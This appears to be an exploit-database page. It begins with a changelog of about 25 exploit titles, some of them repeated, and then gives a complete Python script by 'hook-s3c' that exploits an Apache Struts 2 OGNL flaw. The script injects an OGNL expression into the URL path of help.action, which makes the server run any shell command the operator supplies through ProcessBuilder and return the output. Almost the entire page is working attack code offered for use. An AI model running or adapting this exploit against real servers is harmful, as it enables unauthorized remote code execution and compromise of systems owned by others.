
25 changes to exploits/shellcodes Firefox 55.0.3 - Denial of Service (PoC) Trend Micro Enterprise Mobile Security 2.0.0.1700 - 'Servidor' Denial of Service (PoC) Libpango 1.40.8 - Denial of Service (PoC) Adobe Flash - AVC Processing Out-of-Bounds Read Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP) CuteFTP 5.0 - Buffer Overflow Foxit PDF Reader 9.0.1.1049 - Pointer Overwrite Use-After-Free (Metasploit) OpenSSH 7.7 - Username Enumeration OpenSSH 2.3 < 7.7 - Username Enumeration Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1) Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) Node.JS - 'node-serialize' Remote Code Execution Electron WebPreferences - Remote Code Execution HP Jetdirect - Path Traversal Arbitrary Code Execution (Metasploit) Auditor Website 2.0.1 - Cross-Site Scripting Basic B2B Script 2.0.0 - Cross-Site Scripting Entrepreneur Job Portal Script 3.0.1 - Cross-Site Scripting Sentrifugo HRMS 3.2 - 'deptid' SQL Injection WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin) RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin) LiteCart 2.1.2 - Arbitrary File Upload Seagate Personal Cloud SRN21C 4.3.16.0 / 4.3.18.0 - SQL Injection Responsive FileManager < 9.13.4 - Directory Traversal WordPress Plugin Plainview Activity Monitor 20161228 - Command Injection
50 lines
No EOL
1.6 KiB
Python
Executable file
50 lines
No EOL
1.6 KiB
Python
Executable file
#!/usr/bin/python
|
|
# -*- coding: utf-8 -*-
|
|
|
|
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
|
|
|
|
import sys
|
|
import urllib
|
|
import urllib2
|
|
import httplib
|
|
|
|
|
|
def exploit(host,cmd):
|
|
print "[Execute]: {}".format(cmd)
|
|
|
|
ognl_payload = "${"
|
|
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
|
|
ognl_payload += "(#cmd='{}').".format(cmd)
|
|
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
|
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
|
|
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
|
ognl_payload += "(#p.redirectErrorStream(true))."
|
|
ognl_payload += "(#process=#p.start())."
|
|
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
|
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
|
ognl_payload += "(#ros.flush())"
|
|
ognl_payload += "}"
|
|
|
|
if not ":" in host:
|
|
host = "{}:8080".format(host)
|
|
|
|
# encode the payload
|
|
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
|
|
|
|
# further encoding
|
|
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
|
|
|
|
print "[Url]: {}\n\n\n".format(url)
|
|
|
|
try:
|
|
request = urllib2.Request(url)
|
|
response = urllib2.urlopen(request).read()
|
|
except httplib.IncompleteRead, e:
|
|
response = e.partial
|
|
print response
|
|
|
|
|
|
if len(sys.argv) < 3:
|
|
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
|
|
else:
|
|
exploit(sys.argv[1],sys.argv[2]) |